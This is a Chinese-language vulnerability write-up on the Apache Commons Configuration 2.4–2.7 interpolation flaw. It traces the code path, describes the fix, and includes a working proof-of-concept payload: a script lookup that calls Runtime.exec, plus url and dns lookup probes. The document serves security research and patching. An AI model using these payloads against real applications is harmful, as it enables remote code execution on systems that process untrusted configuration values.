作者:標準云
本文為作者投稿,Seebug Paper 期待你的分享,凡經采用即有禮品相送! 投稿郵箱:paper@seebug.org

漏洞簡介

image

Apache Commons Configuration 執行變量插值 (variable interpolation), 允許動態評估和擴展屬性。插值的標準格式是"${prefix:name}",其中 "prefix" 用于查找定位執行插值 org.apache.commons.configuration2.interpol.Lookup 的實例。從 2.4 版到 2.7 版,默認的 Lookup 實例集包括可能導致任意代碼執行或與遠程服務器聯系的插值器。

  • "script" - execute expressions using the JVM script execution engine (javax.script) 使用 JVM 腳本執行引擎(javax.script)執行表達式
  • "dns" - resolve dns records 解析 dns 記錄
  • "url" - load values from urls, including from remote servers 從 url 加載值,包括從遠程服務加載值

如果使用了不受信任的配置值,則在受影響版本中使用插值默認值的應用程序可能受到遠程代碼執行的影響。

漏洞復現

創建一個 maven 項目 添加依賴

<dependencies>
    <!-- https://mvnrepository.com/artifact/org.apache.commons/commons-configuration2 -->
    <dependency>
        <groupId>org.apache.commons</groupId>
        <artifactId>commons-configuration2</artifactId>
        <version>2.7</version>
    </dependency>
</dependencies>
import org.apache.commons.configuration2.interpol.ConfigurationInterpolator;
import org.apache.commons.configuration2.interpol.InterpolatorSpecification;

public class ConfigurationDemo {
    public static void main(String[] args) {
        InterpolatorSpecification interpolatorSpecification = new InterpolatorSpecification.Builder().withPrefixLookups(ConfigurationInterpolator.getDefaultPrefixLookups()).withDefaultLookups(ConfigurationInterpolator.getDefaultPrefixLookups().values()).create();
        // 創建 ConfigurationInterpolator 實例
        ConfigurationInterpolator interpolator = ConfigurationInterpolator.fromSpecification(interpolatorSpecification);
        // 解析包含占位符的字符串
        System.out.printf("script: %s",interpolator.interpolate("${script:javascript:java.lang.Runtime.getRuntime().exec(\"calc\")}"));
    }
}

image

漏洞分析

畫出一整個的調試過程

image

通過 ConfigurationInterpolator.interpolate() 方法解析出 表達式的值

import org.apache.commons.configuration2.interpol.ConfigurationInterpolator;
import org.apache.commons.configuration2.interpol.InterpolatorSpecification;

public class Demo {
    public static void main(String[] args) {
        InterpolatorSpecification interpolatorSpecification = new InterpolatorSpecification.Builder()
                .withPrefixLookups(ConfigurationInterpolator.getDefaultPrefixLookups())
                .withDefaultLookups(ConfigurationInterpolator.getDefaultPrefixLookups().values())
                .create();
        ConfigurationInterpolator interpolator = ConfigurationInterpolator.fromSpecification(interpolatorSpecification);
        System.out.printf("%s", interpolator.interpolate("${env:Path}"));
    }
}

image

漏洞調試

org.apache.commons.configuration2.interpol.ConfigurationInterpolator#interpolate

image?

首先會調用 looksLikeSingleVariable 判斷是否符合表達式的格式

org.apache.commons.configuration2.interpol.ConfigurationInterpolator#looksLikeSingleVariable

image?

接著利用 resolveSingleVariable 對表達式進行處理

org.apache.commons.configuration2.interpol.ConfigurationInterpolator#resolveSingleVariable

image

調用 extractVariableName 去除 ${}

org.apache.commons.configuration2.interpol.ConfigurationInterpolator#extractVariableName

image

接著調用 resolve 對表達式進行處理

org.apache.commons.configuration2.interpol.ConfigurationInterpolator#resolve

image

首先是根據 : 將字符串分割,然后先利用 fetchLookupForPrefix 取出 lookup 的對象

org.apache.commons.configuration2.interpol.ConfigurationInterpolator#fetchLookupForPrefix

image

org.apache.commons.configuration2.interpol.StringLookupAdapter#lookup

image

org.apache.commons.text.lookup.ScriptStringLookup#lookup

image

再次將表達式根據 : 分割開來

image

javax.script.AbstractScriptEngine#eval(java.lang.String)

image

根據漏洞簡介中 dns 和 url 都屬于危險的插值器

System.out.printf("script: %s",interpolator.interpolate("${url:http:http://127.0.0.1:8080/}"));

image

System.out.printf("script: %s",interpolator.interpolate("${dns:whoami.4ey83g.dnslog.cn}"));

image

漏洞修復

移除了三個危險的插值器 scriptdnsurl

image

image

image


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1994/